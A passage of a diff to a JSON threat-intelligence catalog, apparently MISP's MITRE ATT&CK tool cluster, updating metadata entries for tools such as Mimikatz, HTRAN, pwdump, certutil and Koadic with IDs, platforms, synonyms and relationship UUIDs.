Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]\n\nAliases: Arp, arp.exe", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)", "meta": { + "external_id": "S0002", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0099", - "https://technet.microsoft.com/en-us/library/bb490864.aspx" + "https://attack.mitre.org/software/S0002", + "https://github.com/gentilkiwi/mimikatz", + "https://adsecurity.org/?page_id=1821" ], "synonyms": [ - "Arp", - "arp.exe" - ], - "uuid": "30489451-5886-4c46-90c9-0dff9adc5252" - }, - "value": "Arp" - }, - { - "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0119", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52" - }, - "value": "Cachedump" - }, - { - "description": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0123", - "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" - ], - "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" - }, - "value": "xCmd" - }, - { - "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0029", - "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", - "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" - ], - "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" - }, - "related": [ - { - "dest-uuid": "6dd05630-9bd8-11e8-a8b9-47ce338a4367", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PsExec" - }, - { - "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]\n\nAliases: FTP, ftp.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0095", - "https://en.wikipedia.org/wiki/File%20Transfer%20Protocol" - ], - "synonyms": [ - "FTP", - "ftp.exe" - ], - "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565" - }, - "value": "FTP" - }, - { - "description": "Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0120", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe" - }, - "value": "Fgdump" - }, - { - "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0121", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b" - }, - "value": "Lslsass" - }, - { - "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0002", - "https://adsecurity.org/?page%20id=1821", - "https://github.com/gentilkiwi/mimikatz" - ], - "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60" + "Mimikatz" + ] }, "related": [ { @@ -225,151 +444,151 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Mimikatz" + "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "value": "Mimikatz - S0002" }, { - "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for [[Discovery]], moving laterally through [[Windows admin shares]] using net use commands, and interacting with services.\n\nAliases: Net, net.exe", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)", "meta": { + "external_id": "S0040", + "mitre_platforms": [ + "Linux", + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0039", - "https://msdn.microsoft.com/en-us/library/aa939914", - "http://windowsitpro.com/windows/netexe-reference" + "https://attack.mitre.org/software/S0040", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" ], "synonyms": [ - "Net", - "net.exe" - ], - "uuid": "03342581-f790-4f03-ba41-e82e67392e23" + "HTRAN", + "HUC Packet Transmit Tool" + ] }, - "value": "Net" + "related": [ + { + "dest-uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "value": "HTRAN - S0040" }, { - "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]\n\nAliases: ping.exe, Ping", + "description": "[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)", "meta": { + "external_id": "S0006", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0097", - "https://technet.microsoft.com/en-us/library/bb490968.aspx" + "https://attack.mitre.org/software/S0006", + "https://en.wikipedia.org/wiki/Pwdump" ], "synonyms": [ - "ping.exe", - "Ping" - ], - "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47" + "pwdump" + ] }, - "value": "Ping" + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700", + "value": "pwdump - S0006" }, { - "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]\n\nAliases: Reg, reg.exe", + "description": "[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)", "meta": { + "external_id": "S0008", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0075", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://technet.microsoft.com/en-us/library/cc732643.aspx" + "https://attack.mitre.org/software/S0008", + "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5" ], "synonyms": [ - "Reg", - "reg.exe" - ], - "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f" - }, - "value": "Reg" - }, - { - "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]\n\nAliases: systeminfo.exe, Systeminfo", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0096", - "https://technet.microsoft.com/en-us/library/bb491007.aspx" - ], - "synonyms": [ - "systeminfo.exe", - "Systeminfo" - ], - "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" - }, - "value": "Systeminfo" - }, - { - "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0057", - "https://technet.microsoft.com/en-us/library/bb491010.aspx" - ], - "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f" - }, - "value": "Tasklist" - }, - { - "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]\n\nAliases: nbtstat, nbtstat.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0102", - "https://technet.microsoft.com/en-us/library/cc940106.aspx" - ], - "synonyms": [ - "nbtstat", - "nbtstat.exe" - ], - "uuid": "b35068ec-107a-4266-bda8-eb7036267aea" - }, - "value": "nbtstat" - }, - { - "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]\n\nAliases: schtasks, schtasks.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0111", - "https://technet.microsoft.com/en-us/library/bb490996.aspx" - ], - "synonyms": [ - "schtasks", - "schtasks.exe" - ], - "uuid": "c9703cd3-141c-43a0-a926-380082be5d04" - }, - "value": "schtasks" - }, - { - "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]\n\nAliases: netstat, netstat.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0104", - "https://technet.microsoft.com/en-us/library/bb490947.aspx" - ], - "synonyms": [ - "netstat", - "netstat.exe" - ], - "uuid": "4664b683-f578-434f-919b-1c1aad2a1111" - }, - "value": "netstat" - }, - { - "description": "at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]\n\nAliases: at, at.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0110", - "https://technet.microsoft.com/en-us/library/bb490866.aspx" - ], - "synonyms": [ - "at", - "at.exe" - ], - "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952" - }, - "value": "at" - }, - { - "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0008", - "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5" - ], - "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54" + "gsecdump" + ] }, "related": [ { @@ -378,134 +597,2013 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "gsecdump" + "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "value": "gsecdump - S0008" }, { - "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir[[Citation: TechNet Dir]]), deleting files (e.g., del[[Citation: TechNet Del]]), and copying files (e.g., copy[[Citation: TechNet Copy]]).\n\nAliases: cmd, cmd.exe", + "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)", "meta": { + "external_id": "S0110", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0106", - "https://technet.microsoft.com/en-us/library/cc771049.aspx", - "https://technet.microsoft.com/en-us/library/cc755121.aspx", - "https://technet.microsoft.com/en-us/library/bb490886.aspx", - "https://technet.microsoft.com/en-us/library/bb490880.aspx" + "https://attack.mitre.org/software/S0110", + "https://technet.microsoft.com/en-us/library/bb490866.aspx" ], "synonyms": [ - "cmd", - "cmd.exe" - ], - "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e" - }, - "value": "cmd" - }, - { - "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]\n\nAliases: certutil, certutil.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0160", - "https://technet.microsoft.com/library/cc732443.aspx" - ], - "synonyms": [ - "certutil", - "certutil.exe" - ], - "uuid": "3e205e84-9f90-4b4b-8896-c82189936a15" + "at", + "at.exe" + ] }, "related": [ { - "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "certutil" + "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "value": "at - S0110" }, { - "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]", + "description": "[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)", "meta": { + "external_id": "S0101", + "mitre_platforms": [ + "Linux" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0101", + "https://attack.mitre.org/software/S0101", "https://en.wikipedia.org/wiki/Ifconfig" ], - "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5" + "synonyms": [ + "ifconfig" + ] }, - "value": "ifconfig" + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5", + "value": "ifconfig - S0101" }, { - "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]\n\nAliases: ipconfig, ipconfig.exe", + "description": "[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)", "meta": { + "external_id": "S0120", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0100", - "https://technet.microsoft.com/en-us/library/bb490921.aspx" + "https://attack.mitre.org/software/S0120", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" ], "synonyms": [ - "ipconfig", - "ipconfig.exe" - ], - "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11" + "Fgdump" + ] }, - "value": "ipconfig" + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe", + "value": "Fgdump - S0120" }, { - "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)", "meta": { + "external_id": "S0102", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0105", - "https://technet.microsoft.com/en-us/library/cc732952.aspx" + "https://attack.mitre.org/software/S0102", + "https://technet.microsoft.com/en-us/library/cc940106.aspx" ], "synonyms": [ - "dsquery", - "dsquery.exe" - ], - "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe" + "nbtstat", + "nbtstat.exe" + ] }, - "value": "dsquery" + "related": [ + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b35068ec-107a-4266-bda8-eb7036267aea", + "value": "nbtstat - S0102" }, { - "description": "pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]", + "description": "[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0006", - "https://en.wikipedia.org/wiki/Pwdump" + "external_id": "S0103", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" ], - "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700" - }, - "value": "pwdump" - }, - { - "description": "netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]\n\nAliases: netsh, netsh.exe", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0108", - "https://technet.microsoft.com/library/bb490939.aspx" - ], - "synonyms": [ - "netsh", - "netsh.exe" - ], - "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71" - }, - "value": "netsh" - }, - { - "description": "route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]\n\nAliases: route, route.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0103", + "https://attack.mitre.org/software/S0103", "https://technet.microsoft.com/en-us/library/bb490991.aspx" ], "synonyms": [ "route", "route.exe" - ], - "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de" + ] }, - "value": "route" + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de", + "value": "route - S0103" + }, + { + "description": "[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)", + "meta": { + "external_id": "S0104", + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0104", + "https://technet.microsoft.com/en-us/library/bb490947.aspx" + ], + "synonyms": [ + "netstat", + "netstat.exe" + ] + }, + "related": [ + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4664b683-f578-434f-919b-1c1aad2a1111", + "value": "netstat - S0104" + }, + { + "description": "[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", + "meta": { + "external_id": "S0105", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0105", + "https://technet.microsoft.com/en-us/library/cc732952.aspx" + ], + "synonyms": [ + "dsquery", + "dsquery.exe" + ] + }, + "related": [ + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "value": "dsquery - S0105" + }, + { + "description": "[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).", + "meta": { + "external_id": "S0106", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0106", + "https://technet.microsoft.com/en-us/library/bb490880.aspx", + "https://technet.microsoft.com/en-us/library/cc755121.aspx", + "https://technet.microsoft.com/en-us/library/cc771049.aspx", + "https://technet.microsoft.com/en-us/library/bb490886.aspx" + ], + "synonyms": [ + "cmd", + "cmd.exe" + ] + }, + "related": [ + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e", + "value": "cmd - S0106" + }, + { + "description": "[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)", + "meta": { + "external_id": "S0160", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0160", + "https://technet.microsoft.com/library/cc732443.aspx" + ], + "synonyms": [ + "certutil", + "certutil.exe" + ] + }, + "related": [ + { + "dest-uuid": "3e205e84-9f90-4b4b-8896-c82189936a15", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", + "value": "certutil - S0160" + }, + { + "description": "[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)", + "meta": { + "external_id": "S0108", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0108", + "https://technet.microsoft.com/library/bb490939.aspx" + ], + "synonyms": [ + "netsh", + "netsh.exe" + ] + }, + "related": [ + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71", + "value": "netsh - S0108" + }, + { + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)", + "meta": { + "external_id": "S0190", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0190", + "https://msdn.microsoft.com/library/aa362813.aspx" + ], + "synonyms": [ + "BITSAdmin" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163", + "value": "BITSAdmin - S0190" + }, + { + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", + "meta": { + "external_id": "S0250", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0250", + "https://github.com/zerosum0x0/koadic", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + ], + "synonyms": [ + "Koadic" + ] + }, + "related": [ + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "tags": [ + 